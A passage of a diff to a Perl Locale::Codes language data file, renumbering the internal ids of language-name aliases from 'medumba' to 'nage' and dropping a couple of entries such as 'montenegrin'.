    q(medumba) => [
-      q(1608),
+      q(1607),
       q(0),
       ],
    q(mefele) => [
-      q(4226),
+      q(4225),
       q(0),
       ],
    q(megam) => [
-      q(4199),
+      q(4198),
       q(0),
       ],
    q(megleno romanian) => [
@@ -42531,75 +42489,75 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(mehek) => [
-      q(5121),
+      q(5117),
       q(0),
       ],
    q(mehinaku) => [
-      q(4390),
+      q(4389),
       q(0),
       ],
    q(mehri) => [
-      q(2465),
+      q(2464),
       q(0),
       ],
    q(mekeo) => [
-      q(4203),
+      q(4202),
       q(0),
       ],
    q(mekmek) => [
-      q(4602),
+      q(4601),
       q(0),
       ],
    q(mekwei) => [
-      q(4528),
+      q(4527),
       q(0),
       ],
    q(mele-fila) => [
-      q(4644),
+      q(4643),
       q(0),
       ],
    q(melo) => [
-      q(4240),
+      q(4239),
       q(0),
       ],
    q(melpa) => [
-      q(4197),
+      q(4196),
       q(0),
       ],
    q(memoni) => [
-      q(4143),
+      q(4142),
       q(0),
       ],
    q(mendalam kayan) => [
-      q(7358),
+      q(7355),
       q(0),
       ],
    q(mendankwe-nkwen) => [
-      q(4220),
+      q(4219),
       q(0),
       ],
    q(mende) => [
-      q(0278),
+      q(0277),
       q(0),
       ],
    q(mende (papua new guinea)) => [
-      q(6035),
+      q(6034),
       q(0),
       ],
    q(mende (sierra leone)) => [
-      q(0278),
+      q(0277),
       q(1),
       ],
    q(mengaka) => [
-      q(7398),
+      q(7395),
       q(0),
       ],
    q(mengen) => [
-      q(4198),
+      q(4197),
       q(0),
       ],
    q(mengisa) => [
-      q(4164),
+      q(4163),
       q(0),
       ],
    q(menik) => [
@@ -42607,31 +42565,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(menka) => [
-      q(4194),
+      q(4193),
       q(0),
       ],
    q(menominee) => [
-      q(4216),
+      q(4215),
       q(0),
       ],
    q(mentawai) => [
-      q(4635),
+      q(4634),
       q(0),
       ],
    q(menya) => [
-      q(4162),
+      q(4161),
       q(0),
       ],
    q(meoswar) => [
-      q(4615),
+      q(4614),
       q(0),
       ],
    q(mer) => [
-      q(4424),
+      q(4423),
       q(0),
       ],
    q(meramera) => [
-      q(4652),
+      q(4651),
       q(0),
       ],
    q(merei) => [
@@ -42639,39 +42597,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(merey) => [
-      q(4208),
+      q(4207),
       q(0),
       ],
    q(meriam) => [
-      q(6881),
+      q(6880),
       q(0),
       ],
    q(merlav) => [
-      q(4510),
+      q(4509),
       q(0),
       ],
    q(meroitic) => [
-      q(7408),
+      q(7405),
       q(0),
       ],
    q(meru) => [
-      q(4209),
+      q(4208),
       q(0),
       ],
    q(merwari) => [
-      q(7217),
+      q(7215),
       q(0),
       ],
    q(mesaka) => [
-      q(3034),
+      q(3031),
       q(0),
       ],
    q(mescalero-chiricahua apache) => [
-      q(0846),
+      q(0845),
       q(0),
       ],
    q(mese) => [
-      q(4153),
+      q(4152),
       q(0),
       ],
    q(meskwaki) => [
@@ -42679,339 +42637,339 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(mesme) => [
-      q(7838),
+      q(7835),
       q(0),
       ],
    q(mesmes) => [
-      q(4681),
+      q(4680),
       q(0),
       ],
    q(mesopotamian arabic) => [
-      q(0592),
+      q(0591),
       q(0),
       ],
    q(mesqan) => [
-      q(4617),
+      q(4616),
       q(0),
       ],
    q(messapic) => [
-      q(1790),
+      q(1789),
       q(0),
       ],
    q(meta') => [
-      q(4256),
+      q(4255),
       q(0),
       ],
    q(metlatonoc mixtec) => [
-      q(4661),
+      q(4660),
       q(0),
       ],
    q(mewari) => [
-      q(4565),
+      q(4564),
       q(0),
       ],
    q(mewati) => [
-      q(7231),
+      q(7229),
       q(0),
       ],
    q(mexican sign language) => [
-      q(4235),
+      q(4234),
       q(0),
       ],
    q(meyah) => [
-      q(4202),
+      q(4201),
       q(0),
       ],
    q(mezontla popoloca) => [
-      q(5362),
+      q(5358),
       q(0),
       ],
    q(mezquital otomi) => [
-      q(5314),
+      q(5310),
       q(0),
       ],
    q(mfinu) => [
-      q(7866),
+      q(7863),
       q(0),
       ],
    q(mfumte) => [
-      q(4827),
+      q(4825),
       q(0),
       ],
    q(mgbolizhia) => [
-      q(2564),
+      q(2562),
       q(0),
       ],
    q(mi'kmaq) => [
-      q(0280),
+      q(0279),
       q(0),
       ],
    q(miahuatlan zapotec) => [
-      q(7802),
+      q(7799),
       q(0),
       ],
    q(miami) => [
-      q(4291),
+      q(4290),
       q(0),
       ],
    q(mian) => [
-      q(4467),
+      q(4466),
       q(0),
       ],
    q(miani) => [
-      q(5483),
+      q(5479),
       q(0),
       ],
    q(michif) => [
-      q(1844),
+      q(1843),
       q(0),
       ],
    q(michigamea) => [
-      q(1786),
+      q(1785),
       q(0),
       ],
    q(michoacan mazahua) => [
-      q(4385),
+      q(4384),
       q(0),
       ],
    q(michoacan nahuatl) => [
-      q(4765),
+      q(4764),
       q(0),
       ],
    q(micmac) => [
-      q(0280),
+      q(0279),
       q(1),
       ],
    q(mid grand valley dani) => [
-      q(2102),
+      q(2101),
       q(0),
       ],
    q(mid-southern banda) => [
-      q(1244),
+      q(1243),
       q(0),
       ],
    q(middle armenian) => [
-      q(0991),
+      q(0990),
       q(0),
       ],
    q(middle breton) => [
-      q(7287),
+      q(7285),
       q(0),
       ],
    q(middle cornish) => [
-      q(1805),
+      q(1804),
       q(0),
       ],
    q(middle dutch (ca. 1050-1350)) => [
-      q(0116),
+      q(0115),
       q(1),
       ],
    q(middle english (1100-1500)) => [
-      q(0125),
+      q(0124),
       q(1),
       ],
    q(middle french (ca. 1400-1600)) => [
-      q(0139),
+      q(0138),
       q(1),
       ],
    q(middle high german (ca. 1050-1500)) => [
-      q(0158),
+      q(0157),
       q(1),
       ],
    q(middle hittite) => [
-      q(2848),
+      q(2846),
       q(0),
       ],
    q(middle irish (900-1200)) => [
-      q(0279),
+      q(0278),
       q(1),
       ],
    q(middle korean (10th-16th cent.)) => [
-      q(5230),
+      q(5226),
       q(0),
       ],
    q(middle low german) => [
-      q(2557),
+      q(2555),
       q(0),
       ],
    q(middle mongolian) => [
-      q(7419),
+      q(7416),
       q(0),
       ],
    q(middle newar) => [
-      q(5135),
+      q(5131),
       q(0),
       ],
    q(middle watut) => [
-      q(4459),
+      q(4458),
       q(0),
       ],
    q(middle welsh) => [
-      q(7145),
+      q(7143),
       q(0),
       ],
    q(midob) => [
-      q(4201),
+      q(4200),
       q(0),
       ],
    q(migaama) => [
-      q(4406),
+      q(4405),
       q(0),
       ],
    q(migabac) => [
-      q(4463),
+      q(4462),
       q(0),
       ],
    q(migum) => [
-      q(3438),
+      q(3437),
       q(0),
       ],
    q(miji) => [
-      q(6052),
+      q(6051),
       q(1),
       ],
    q(miju-mishmi) => [
-      q(4649),
+      q(4648),
       q(0),
       ],
    q(mikasuki) => [
-      q(4300),
+      q(4299),
       q(0),
       ],
    q(mili) => [
-      q(7678),
+      q(7675),
       q(0),
       ],
    q(miltu) => [
-      q(4368),
+      q(4367),
       q(0),
       ],
    q(miluk) => [
-      q(2961),
+      q(2958),
       q(0),
       ],
    q(milyan) => [
-      q(2966),
+      q(2963),
       q(0),
       ],
    q(min bei chinese) => [
-      q(4420),
+      q(4419),
       q(0),
       ],
    q(min dong chinese) => [
-      q(1698),
+      q(1697),
       q(0),
       ],
    q(min nan chinese) => [
-      q(4722),
+      q(4721),
       q(0),
       ],
    q(min zhong chinese) => [
-      q(1930),
+      q(1929),
       q(0),
       ],
    q(mina (cameroon)) => [
-      q(2797),
+      q(2795),
       q(0),
       ],
    q(mina (india)) => [
-      q(4673),
+      q(4672),
       q(0),
       ],
    q(minaean) => [
-      q(2971),
+      q(2968),
       q(0),
       ],
    q(minang) => [
-      q(7465),
+      q(7462),
       q(0),
       ],
    q(minangkabau) => [
-      q(0281),
+      q(0280),
       q(0),
       ],
    q(minanibai) => [
-      q(4166),
+      q(4165),
       q(0),
       ],
    q(minaveha) => [
-      q(4605),
+      q(4604),
       q(0),
       ],
    q(minderico) => [
-      q(2129),
+      q(2128),
       q(0),
       ],
    q(mindiri) => [
-      q(4461),
+      q(4460),
       q(0),
       ],
    q(mingang doso) => [
-      q(4349),
+      q(4348),
       q(0),
       ],
    q(mingrelian) => [
-      q(7397),
+      q(7394),
       q(0),
       ],
    q(minica huitoto) => [
-      q(2845),
+      q(2843),
       q(0),
       ],
    q(minidien) => [
-      q(7119),
+      q(7117),
       q(0),
       ],
    q(minigir) => [
-      q(1571),
+      q(1570),
       q(1),
       ],
    q(minjungbal) => [
-      q(7353),
+      q(7350),
       q(0),
       ],
    q(minkin) => [
-      q(7547),
+      q(7544),
       q(0),
       ],
    q(minoan) => [
-      q(5254),
+      q(5250),
       q(0),
       ],
    q(minokok) => [
-      q(4489),
+      q(4488),
       q(0),
       ],
    q(minriq) => [
-      q(4421),
+      q(4420),
       q(0),
       ],
    q(mintil) => [
-      q(4705),
+      q(4704),
       q(0),
       ],
    q(minz zhuang) => [
-      q(7826),
+      q(7823),
       q(0),
       ],
    q(miqie) => [
-      q(7641),
+      q(7638),
       q(0),
       ],
    q(mirandese) => [
-      q(0295),
+      q(0294),
       q(0),
       ],
    q(miraya bikol) => [
-      q(5751),
+      q(5749),
       q(0),
       ],
    q(mirgan) => [
-      q(7927),
+      q(7924),
       q(0),
       ],
    q(miriti) => [
-      q(4403),
+      q(4402),
       q(0),
       ],
    q(miriwoong sign language) => [
@@ -43019,75 +42977,75 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(miriwung) => [
-      q(4207),
+      q(4206),
       q(0),
       ],
    q(miship) => [
-      q(4329),
+      q(4328),
       q(0),
       ],
    q(misima-panaeati) => [
-      q(4471),
+      q(4470),
       q(0),
       ],
    q(mising) => [
-      q(4505),
+      q(4504),
       q(0),
       ],
    q(miskito) => [
-      q(4305),
+      q(4304),
       q(0),
       ],
    q(mitla zapotec) => [
-      q(7810),
+      q(7807),
       q(0),
       ],
    q(mitlatongo mixtec) => [
-      q(7015),
+      q(7014),
       q(0),
       ],
    q(mittu) => [
-      q(4634),
+      q(4633),
       q(0),
       ],
    q(mituku) => [
-      q(7877),
+      q(7874),
       q(0),
       ],
    q(miu) => [
-      q(4462),
+      q(4461),
       q(0),
       ],
    q(miwa) => [
-      q(7011),
+      q(7010),
       q(0),
       ],
    q(mixed great andamanese) => [
-      q(2397),
+      q(2396),
       q(0),
       ],
    q(mixtepec mixtec) => [
-      q(4310),
+      q(4309),
       q(0),
       ],
    q(mixtepec zapotec) => [
-      q(7911),
+      q(7908),
       q(0),
       ],
    q(miya) => [
-      q(4341),
+      q(4340),
       q(0),
       ],
    q(miyako) => [
-      q(4601),
+      q(4600),
       q(0),
       ],
    q(miyobe) => [
-      q(6165),
+      q(6166),
       q(0),
       ],
    q(mlabri) => [
-      q(4499),
+      q(4498),
       q(0),
       ],
    q(mlahso) => [
@@ -43095,567 +43053,559 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(mlap) => [
-      q(3375),
+      q(3374),
       q(0),
       ],
    q(mlomp) => [
-      q(4373),
+      q(4372),
       q(0),
       ],
    q(mmaala) => [
-      q(4402),
+      q(4401),
       q(0),
       ],
    q(mmen) => [
-      q(1149),
+      q(1148),
       q(0),
       ],
    q(mo) => [
-      q(7133),
+      q(7131),
       q(1),
       ],
    q(mo'da) => [
-      q(2430),
+      q(2429),
       q(0),
       ],
    q(moabite) => [
-      q(5187),
+      q(5183),
       q(0),
       ],
    q(moba) => [
-      q(4233),
+      q(4232),
       q(0),
       ],
    q(mobilian) => [
-      q(4432),
+      q(4431),
       q(0),
       ],
    q(mobumrin aizi) => [
-      q(0685),
+      q(0684),
       q(0),
       ],
    q(mobwa karen) => [
-      q(3108),
+      q(3106),
       q(0),
       ],
    q(mocheno) => [
-      q(4279),
+      q(4278),
       q(0),
       ],
    q(mochi) => [
-      q(5239),
+      q(5235),
       q(0),
       ],
    q(mochica) => [
-      q(5249),
+      q(5245),
       q(0),
       ],
    q(mocho) => [
-      q(4269),
+      q(4268),
       q(0),
       ],
    q(mocovi) => [
-      q(4431),
+      q(4430),
       q(0),
       ],
    q(modang) => [
-      q(4643),
+      q(4642),
       q(0),
       ],
    q(modern greek (1453-)) => [
-      q(0165),
+      q(0164),
       q(2),
       ],
    q(modole) => [
-      q(4487),
+      q(4486),
       q(0),
       ],
    q(moere) => [
-      q(4608),
+      q(4607),
       q(0),
       ],
    q(mofu-gudur) => [
-      q(4295),
+      q(4294),
       q(0),
       ],
    q(mogholi) => [
-      q(4275),
+      q(4274),
       q(0),
       ],
    q(mogofin) => [
-      q(4223),
+      q(4222),
       q(0),
       ],
    q(mogum) => [
-      q(4443),
+      q(4442),
       q(0),
       ],
    q(mohave) => [
-      q(4444),
+      q(4443),
       q(0),
       ],
    q(mohawk) => [
-      q(0289),
+      q(0288),
       q(0),
       ],
    q(mohegan-pequot) => [
-      q(7453),
+      q(7450),
       q(0),
       ],
    q(moi (congo)) => [
-      q(4445),
+      q(4444),
       q(0),
       ],
    q(moi (indonesia)) => [
-      q(4653),
+      q(4652),
       q(0),
       ],
    q(moikodi) => [
-      q(4350),
+      q(4349),
       q(0),
       ],
    q(moingi) => [
-      q(4639),
+      q(4638),
       q(0),
       ],
    q(moji) => [
-      q(7679),
+      q(7676),
       q(0),
       ],
    q(mok) => [
-      q(4492),
+      q(4491),
       q(0),
       ],
    q(moken) => [
-      q(4633),
+      q(4632),
       q(0),
       ],
    q(mokerang) => [
-      q(4236),
+      q(4235),
       q(0),
       ],
    q(mokilese) => [
-      q(4344),
+      q(4343),
       q(0),
       ],
    q(moklen) => [
-      q(4347),
+      q(4346),
       q(0),
       ],
    q(mokole) => [
-      q(4346),
+      q(4345),
       q(0),
       ],
    q(mokpwe) => [
-      q(1429),
+      q(1428),
       q(0),
       ],
    q(moksela) => [
-      q(7019),
+      q(7018),
       q(0),
       ],
    q(moksha) => [
-      q(0276),
+      q(0275),
       q(0),
       ],
    q(molale) => [
-      q(4124),
+      q(4123),
       q(0),
       ],
    q(molbog) => [
-      q(5656),
+      q(5654),
       q(0),
       ],
    q(moldavian) => [
-      q(0361),
+      q(0360),
       q(1),
       ],
    q(moldova sign language) => [
-      q(7033),
+      q(7032),
       q(0),
       ],
    q(moldovan) => [
-      q(0361),
+      q(0360),
       q(2),
       ],
    q(molengue) => [
-      q(1568),
+      q(1567),
       q(0),
       ],
    q(molima) => [
-      q(4446),
+      q(4445),
       q(0),
       ],
    q(molmo one) => [
-      q(0945),
+      q(0944),
       q(0),
       ],
    q(molo) => [
-      q(7875),
+      q(7872),
       q(0),
       ],
    q(molof) => [
-      q(4534),
+      q(4533),
       q(0),
       ],
    q(moloko) => [
-      q(4380),
+      q(4379),
       q(0),
       ],
    q(mom jango) => [
-      q(6979),
+      q(6978),
       q(0),
       ],
    q(moma) => [
-      q(4676),
+      q(4675),
       q(0),
       ],
    q(momare) => [
-      q(4547),
+      q(4546),
       q(0),
       ],
    q(mombo dogon) => [
-      q(2077),
+      q(2076),
       q(0),
       ],
    q(mombum) => [
-      q(4537),
+      q(4536),
       q(0),
       ],
    q(momina) => [
-      q(4384),
+      q(4383),
       q(0),
       ],
    q(momuna) => [
-      q(4478),
+      q(4477),
       q(0),
       ],
    q(mon) => [
-      q(4426),
+      q(4425),
       q(0),
       ],
    q(mon-khmer languages) => [
-      q(0283),
+      q(0282),
       q(0),
       ],
    q(monastic sign language) => [
-      q(4692),
+      q(4691),
       q(0),
       ],
    q(monde) => [
-      q(4410),
+      q(4409),
       q(0),
       ],
    q(mondropolon) => [
-      q(5031),
+      q(5029),
       q(0),
       ],
    q(mong) => [
-      q(0180),
+      q(0179),
       q(1),
       ],
    q(mong leng) => [
-      q(2802),
+      q(2800),
       q(1),
       ],
    q(mong njua) => [
-      q(2802),
+      q(2800),
       q(2),
       ],
    q(mongo) => [
-      q(0253),
+      q(0252),
       q(0),
       ],
    q(mongol) => [
-      q(4261),
+      q(4260),
       q(0),
       ],
    q(mongolia buriat) => [
-      q(1578),
+      q(1577),
       q(0),
       ],
    q(mongolian) => [
-      q(0290),
+      q(0289),
       q(0),
       ],
    q(mongolian languages) => [
-      q(0532),
+      q(0531),
       q(0),
       ],
    q(mongolian sign language) => [
-      q(4540),
+      q(4539),
       q(0),
       ],
    q(mongondow) => [
-      q(4434),
+      q(4433),
       q(0),
       ],
    q(moni) => [
-      q(4429),
+      q(4428),
       q(0),
       ],
    q(mono (cameroon)) => [
-      q(4518),
+      q(4517),
       q(0),
       ],
    q(mono (democratic republic of congo)) => [
-      q(4414),
+      q(4413),
       q(0),
       ],
    q(mono (solomon islands)) => [
-      q(4552),
+      q(4551),
       q(0),
       ],
    q(mono (usa)) => [
-      q(4422),
+      q(4421),
       q(0),
       ],
    q(monom) => [
-      q(4439),
+      q(4438),
       q(0),
       ],
    q(monsang naga) => [
-      q(4962),
+      q(4960),
       q(0),
       ],
    q(montagnais) => [
-      q(4433),
-      q(0),
-      ],
-   q(montenegrin) => [
-      q(0090),
+      q(4432),
       q(0),
       ],
    q(montol) => [
-      q(4559),
+      q(4558),
       q(0),
       ],
    q(monumbo) => [
-      q(4650),
+      q(4649),
       q(0),
       ],
    q(monzombo) => [
-      q(4436),
+      q(4435),
       q(0),
       ],
    q(moo) => [
-      q(2682),
+      q(2680),
       q(0),
       ],
    q(moose cree) => [
-      q(1849),
+      q(1848),
       q(0),
       ],
    q(mopan maya) => [
-      q(4440),
+      q(4439),
       q(0),
       ],
    q(mor (bomberai peninsula)) => [
-      q(4441),
+      q(4440),
       q(0),
       ],
    q(mor (mor islands)) => [
-      q(4290),
+      q(4289),
       q(0),
       ],
    q(moraid) => [
-      q(4529),
+      q(4528),
       q(0),
       ],
    q(morawa) => [
-      q(4691),
+      q(4690),
       q(0),
       ],
    q(morelos nahuatl) => [
-      q(4863),
+      q(4861),
       q(0),
       ],
    q(morerebi) => [
-      q(7405),
+      q(7402),
       q(0),
       ],
    q(moresada) => [
-      q(4545),
+      q(4544),
       q(0),
       ],
    q(mori atas) => [
-      q(4702),
+      q(4701),
       q(0),
       ],
    q(mori bawah) => [
-      q(7416),
+      q(7413),
       q(0),
       ],
    q(morigi) => [
-      q(4172),
+      q(4171),
       q(0),
       ],
    q(morisyen) => [
-      q(4221),
+      q(4220),
       q(0),
       ],
    q(moro) => [
-      q(4442),
+      q(4441),
       q(0),
       ],
    q(moroccan arabic) => [
-      q(0884),
+      q(0883),
       q(0),
       ],
    q(moroccan sign language) => [
-      q(7409),
+      q(7406),
       q(0),
       ],
    q(morokodo) => [
-      q(4244),
+      q(4243),
       q(0),
       ],
    q(morom) => [
-      q(1104),
+      q(1103),
       q(0),
       ],
    q(moronene) => [
-      q(4486),
+      q(4485),
       q(0),
       ],
    q(morori) => [
-      q(4437),
+      q(4436),
       q(0),
       ],
    q(morouas) => [
-      q(4513),
+      q(4512),
       q(0),
       ],
    q(mortlockese) => [
-      q(4509),
+      q(4508),
       q(0),
       ],
    q(moru) => [
-      q(4245),
+      q(4244),
       q(0),
       ],
    q(mosimo) => [
-      q(4494),
+      q(4493),
       q(0),
       ],
    q(mosiro) => [
-      q(4638),
+      q(4637),
       q(0),
       ],
    q(moskona) => [
-      q(4557),
+      q(4556),
       q(0),
       ],
    q(mossi) => [
-      q(0291),
+      q(0290),
       q(0),
       ],
    q(mota) => [
-      q(4567),
+      q(4566),
       q(0),
       ],
    q(motlav) => [
-      q(4379),
+      q(4378),
       q(0),
       ],
    q(motu) => [
-      q(4212),
+      q(4211),
       q(0),
       ],
    q(mouk-aria) => [
-      q(4624),
+      q(4623),
       q(0),
       ],
    q(mountain koiali) => [
-      q(3541),
+      q(3540),
       q(0),
       ],
    q(mouwase) => [
-      q(3124),
+      q(3122),
       q(0),
       ],
    q(movima) => [
-      q(4701),
+      q(4700),
       q(0),
       ],
    q(moyadan itneg) => [
-      q(3022),
+      q(3019),
       q(0),
       ],
    q(moyon naga) => [
-      q(4969),
+      q(4967),
       q(0),
       ],
    q(mozambican sign language) => [
-      q(4710),
+      q(4709),
       q(0),
       ],
    q(mozarabic) => [
-      q(4648),
+      q(4647),
       q(0),
       ],
    q(mpade) => [
-      q(4456),
+      q(4455),
       q(0),
       ],
    q(mpalitjanh) => [
-      q(7447),
+      q(7444),
       q(0),
       ],
    q(mpi) => [
-      q(4473),
+      q(4472),
       q(0),
       ],
    q(mpiemo) => [
-      q(4168),
+      q(4167),
       q(0),
       ],
    q(mpoto) => [
-      q(4449),
+      q(4448),
       q(0),
       ],
    q(mpotovoro) => [
-      q(4611),
+      q(4610),
       q(0),
       ],
    q(mpumpong) => [
-      q(4248),
+      q(4247),
       q(0),
       ],
    q(mpuono) => [
-      q(7876),
+      q(7873),
       q(0),
       ],
    q(mpur) => [
-      q(0724),
+      q(0723),
       q(0),
       ],
    q(mro-khimi chin) => [
-      q(1789),
+      q(1788),
       q(0),
       ],
    q(mru) => [
-      q(4512),
+      q(4511),
       q(0),
       ],
    q(mser) => [
-      q(3567),
+      q(3566),
       q(0),
       ],
    q(mt. iraya agta) => [
-      q(0919),
+      q(0918),
       q(0),
       ],
    q(mt. iriga agta) => [
-      q(0677),
-      q(0),
-      ],
-   q(muak sa-aak) => [
-      q(6867),
+      q(0676),
       q(0),
       ],
    q(mualang) => [
-      q(4551),
+      q(4550),
       q(0),
       ],
    q(mubami) => [
@@ -43663,23 +43613,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(mubi) => [
-      q(4574),
+      q(4573),
       q(0),
       ],
    q(muda) => [
-      q(7675),
+      q(7672),
       q(0),
       ],
    q(mudburra) => [
-      q(2090),
+      q(2089),
       q(0),
       ],
    q(mudhili gadaba) => [
-      q(2415),
+      q(2414),
       q(0),
       ],
    q(mudu koraga) => [
-      q(7006),
+      q(7005),
       q(0),
       ],
    q(muduga) => [
@@ -43687,143 +43637,143 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(mufian) => [
-      q(0824),
+      q(0823),
       q(0),
       ],
    q(mugom) => [
-      q(4582),
+      q(4581),
       q(0),
       ],
    q(muinane) => [
-      q(1320),
+      q(1319),
       q(0),
       ],
    q(mukha-dora) => [
-      q(4393),
+      q(4392),
       q(0),
       ],
    q(mukulu) => [
-      q(4448),
+      q(4447),
       q(0),
       ],
    q(mulaha) => [
-      q(4239),
+      q(4238),
       q(0),
       ],
    q(mulam) => [
-      q(4371),
+      q(4370),
       q(0),
       ],
    q(mulao) => [
-      q(2524),
+      q(2522),
       q(0),
       ],
    q(mulgi) => [
-      q(4600),
+      q(4599),
       q(0),
       ],
    q(mullu kurumba) => [
-      q(3521),
+      q(3520),
       q(0),
       ],
    q(mullukmulluk) => [
-      q(4450),
+      q(4449),
       q(0),
       ],
    q(multiple languages) => [
-      q(0292),
+      q(0291),
       q(0),
       ],
    q(muluridyi) => [
-      q(7020),
+      q(7019),
       q(0),
       ],
    q(mum) => [
-      q(3544),
+      q(3543),
       q(0),
       ],
    q(mumuye) => [
-      q(4698),
+      q(4697),
       q(0),
       ],
    q(mun chin) => [
-      q(4631),
+      q(4630),
       q(0),
       ],
    q(muna) => [
-      q(4409),
+      q(4408),
       q(0),
       ],
    q(munda) => [
-      q(6907),
+      q(6906),
       q(0),
       ],
    q(munda languages) => [
-      q(0293),
+      q(0292),
       q(0),
       ],
    q(mundabli) => [
-      q(1354),
+      q(1353),
       q(0),
       ],
    q(mundang) => [
-      q(4573),
+      q(4572),
       q(0),
       ],
    q(mundani) => [
-      q(4412),
+      q(4411),
       q(0),
       ],
    q(mundari) => [
-      q(6905),
+      q(6904),
       q(0),
       ],
    q(mundat) => [
-      q(4388),
+      q(4387),
       q(0),
       ],
    q(mundu) => [
-      q(4579),
+      q(4578),
       q(0),
       ],
    q(munduruku) => [
-      q(4682),
+      q(4681),
       q(0),
       ],
    q(mungaka) => [
-      q(4276),
+      q(4275),
       q(0),
       ],
    q(mungbam) => [
-      q(4299),
+      q(4298),
       q(1),
       ],
    q(munggui) => [
-      q(4555),
+      q(4554),
       q(0),
       ],
    q(mungkip) => [
-      q(4469),
+      q(4468),
       q(0),
       ],
    q(muniche) => [
-      q(4680),
+      q(4679),
       q(0),
       ],
    q(munit) => [
-      q(4550),
+      q(4549),
       q(0),
       ],
    q(munji) => [
-      q(4415),
+      q(4414),
       q(0),
       ],
    q(munsee) => [
-      q(6898),
+      q(6897),
       q(0),
       ],
    q(muong) => [
-      q(4564),
+      q(4563),
       q(0),
       ],
    q(mur pano) => [
@@ -43831,51 +43781,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(muratayak) => [
-      q(0907),
+      q(0906),
       q(0),
       ],
    q(murik (malaysia)) => [
-      q(4657),
+      q(4656),
       q(0),
       ],
    q(murik (papua new guinea)) => [
-      q(4553),
+      q(4552),
       q(0),
       ],
    q(murkim) => [
-      q(5802),
+      q(5801),
       q(0),
       ],
    q(murle) => [
-      q(4587),
+      q(4586),
       q(0),
       ],
    q(murrinh-patha) => [
-      q(4622),
+      q(4621),
       q(0),
       ],
    q(mursi) => [
-      q(4593),
+      q(4592),
       q(0),
       ],
    q(murui huitoto) => [
-      q(2866),
+      q(2864),
       q(0),
       ],
    q(murupi) => [
-      q(4495),
+      q(4494),
       q(0),
       ],
    q(muruwari) => [
-      q(7881),
+      q(7878),
       q(0),
       ],
    q(musak) => [
-      q(4399),
+      q(4398),
       q(0),
       ],
    q(musar) => [
-      q(4391),
+      q(4390),
       q(0),
       ],
    q(musasa) => [
@@ -43883,23 +43833,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(musey) => [
-      q(4527),
+      q(4526),
       q(0),
       ],
    q(musgu) => [
-      q(4578),
+      q(4577),
       q(0),
       ],
    q(mushungulu) => [
-      q(7392),
+      q(7389),
       q(0),
       ],
    q(musi) => [
-      q(4580),
+      q(4579),
       q(0),
       ],
    q(muskum) => [
-      q(4316),
+      q(4315),
       q(0),
       ],
    q(muslim tat) => [
@@ -43907,15 +43857,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(musom) => [
-      q(4542),
+      q(4541),
       q(0),
       ],
    q(mussau-emira) => [
-      q(2250),
+      q(2249),
       q(0),
       ],
    q(muthuvan) => [
-      q(4590),
+      q(4589),
       q(0),
       ],
    q(mutu) => [
@@ -43923,383 +43873,383 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(muya) => [
-      q(4604),
+      q(4603),
       q(0),
       ],
    q(muyang) => [
-      q(4592),
+      q(4591),
       q(0),
       ],
    q(muyuw) => [
-      q(4683),
+      q(4682),
       q(0),
       ],
    q(muzi) => [
-      q(7690),
+      q(7687),
       q(0),
       ],
    q(mvanip) => [
-      q(4154),
+      q(4153),
       q(0),
       ],
    q(mvuba) => [
-      q(4647),
+      q(4646),
       q(0),
       ],
    q(mwaghavul) => [
-      q(6274),
+      q(6275),
       q(0),
       ],
    q(mwali comorian) => [
-      q(7139),
+      q(7137),
       q(0),
       ],
    q(mwan) => [
-      q(4430),
+      q(4429),
       q(0),
       ],
    q(mwani) => [
-      q(7166),
+      q(7164),
       q(0),
       ],
    q(mwatebu) => [
-      q(4618),
+      q(4617),
       q(0),
       ],
    q(mwera (chimwera)) => [
-      q(4621),
+      q(4620),
       q(0),
       ],
    q(mwera (nyasa)) => [
-      q(4318),
+      q(4317),
       q(0),
       ],
    q(mwerlap) => [
-      q(4510),
+      q(4509),
       q(1),
       ],
    q(mwimbi-muthambi) => [
-      q(4632),
+      q(4631),
       q(0),
       ],
    q(mwotlap) => [
-      q(4379),
+      q(4378),
       q(1),
       ],
    q(mycenaean greek) => [
-      q(2563),
+      q(2561),
       q(0),
       ],
    q(myene) => [
-      q(4669),
+      q(4668),
       q(0),
       ],
    q(mysian) => [
-      q(7688),
+      q(7685),
       q(0),
       ],
    q(mzieme naga) => [
-      q(4959),
+      q(4957),
       q(0),
       ],
    q(n'ko) => [
-      q(0318),
+      q(0317),
       q(0),
       ],
    q(n/u) => [
-      q(4834),
+      q(4832),
       q(0),
       ],
    q(na) => [
-      q(4749),
+      q(4748),
       q(0),
       ],
    q(na-dene languages) => [
-      q(0533),
+      q(0532),
       q(0),
       ],
    q(na-meo) => [
-      q(4813),
+      q(4811),
       q(0),
       ],
    q(naaba) => [
-      q(4723),
+      q(4722),
       q(0),
       ],
    q(naami) => [
-      q(1633),
+      q(1632),
       q(0),
       ],
    q(naasioi) => [
-      q(4726),
+      q(4725),
       q(0),
       ],
    q(naba) => [
-      q(4411),
+      q(4410),
       q(0),
       ],
    q(nabak) => [
-      q(4716),
+      q(4715),
       q(0),
       ],
    q(nabi) => [
-      q(4572),
+      q(4571),
       q(0),
       ],
    q(nachering) => [
-      q(4757),
+      q(4756),
       q(0),
       ],
    q(nadeb) => [
-      q(4128),
+      q(4127),
       q(0),
       ],
    q(nadruvian) => [
-      q(4781),
+      q(4779),
       q(0),
       ],
    q(nafaanra) => [
-      q(4826),
+      q(4824),
       q(0),
       ],
    q(nafi) => [
-      q(6202),
+      q(6203),
       q(0),
       ],
    q(nafri) => [
-      q(5150),
+      q(5146),
       q(0),
       ],
    q(nafusi) => [
-      q(3063),
+      q(3060),
       q(0),
       ],
    q(naga pidgin) => [
-      q(4717),
+      q(4716),
       q(0),
       ],
    q(nagarchal) => [
-      q(4737),
+      q(4736),
       q(0),
       ],
    q(nage) => [
-      q(5139),
